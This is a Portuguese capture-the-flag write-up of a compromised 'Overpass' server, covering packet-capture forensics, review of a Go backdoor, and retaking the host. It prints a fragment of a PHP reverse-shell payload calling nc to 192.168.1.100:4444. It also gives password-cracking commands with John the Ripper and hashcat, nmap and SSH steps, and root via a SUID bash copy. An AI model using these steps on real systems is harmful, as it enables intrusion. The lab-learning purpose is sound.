O servidor Overpass foi comprometido, e um arquivo de captura de pacotes (PCAP) foi obtido durante o ataque. Para iniciar a investigação, abra o arquivo PCAP no Wireshark com privilégios elevados:
sudo wireshark captura_redes.pcap
No Wireshark, localize o primeiro pacote TCP e utilize a opção "Follow TCP Stream" para visualizar a comunicação no nível da aplicação. Observando o fluxo, identifica-se que o invasor acessou um diretório de desenvolvimento (/dev/) e utilizou um script de upload (enviar.php) para carregar um payload malicioso. O conteúdo do payload revela uma tentativa de estabelecer uma shell reversa:
&1|nc 192.168.1.100 4444 >/tmp/d")?>
Após a ativação do payload, o pacote subsequente mostra que o invasor verificou sua identidade com o comando whoami, obtendo acesso como o usuário www-data. Em seguida, ele aprimorou a shell utilizando módulos Python e explorou arquivos ocultos, encontrando um arquivo .config com credenciais. A senha descoberta permitiu uma escalada de privilégios para o usuário admin:
senhaSegura123
Continuando a análise, o invasor listou permissões sudo, acessou o arquivo /etc/shadow e clonou um repositório de ferrramentas de backdoor de um servidor GitHub, instalando um backdoor SSH para persistência.
Revisão de Código do Backdoor
O repositório clonado contém um backdoor escrito em Go. Examinando o arquivo principal (main.go), nota-se um hash padrão hardcoded para autenticação:
hashPadrao := "a1b2c3d4e5f6789012345678901234567890abcdef1234567890abcdef123456"
Além disso, uma função de verificação de senha utiliza um salt estático, também hardcoded no código:
saltFixo := "f0e1d2c3b4a5968778695a4b3c2d1e0f"
Ao correlacionar com os dados do PCAP, percebe-se que o invasor executou o backdoor com um hash personalizado via parâmetro -h, diferente do padrão. Esse hash foi extraído dos logs de rede para análise posterior.
Cracking de Senhas e Hashes
Os hashes obtidos do arquivo /etc/shadow foram salvos em um arquivo hashes_shadow.txt. Utillizando o John the Ripper com um dicionário comum, tenta-se quebrar as senhas:
sudo john --wordlist=/usr/share/wordlists/common_passwords.txt hashes_shadow.txt
O resultado indica que múltiplas senhas foram recuperadas. Para o hash personalizado do backdoor, identificado como SHA-512 com salt (conforme análise do código), utiliza-se o hashcat. Primeiro, prepare um arquivo contendo o hash e o salt no formato correto:
hashcat -m 1710 -a 0 hash_backdoor.txt /usr/share/wordlists/dicionario_grande.txt
Após a execução, a senha correspondente ao hash do invasor é revelada, permitindo simular o acesso ao backdoor.
Recuperação do Servidor
Com as informações coletadas, o próximo passo é recuperar o controle do servidor comprometido. Inicie com uma varredura de portas usando nmap:
nmap -sV -sC -Pn -v 10.10.74.30
A varredura mostra serviços SSH nas portas 22 e 2222. Tente autenticar como admin na porta 2222 usando a senha obtida do cracking do backdoor:
ssh -p 2222 admin@10.10.74.30 -oHostKeyAlgorithms=+ssh-rsa
Após o login bem-sucedido, navegue até o diretório pessoal do usuário para recuperar a flag de usuário:
cat ~/flag_usuario.txt
No diretório, note um binário oculto com permissões SUID, como uma cópia do bash. Execute-o para obter uma shell com privilégios elevados:
./bash_suid -p
Com acesso root, acesse o diretório raiz para recuperar a flag de administrador, concluindo a recuperação do servidor.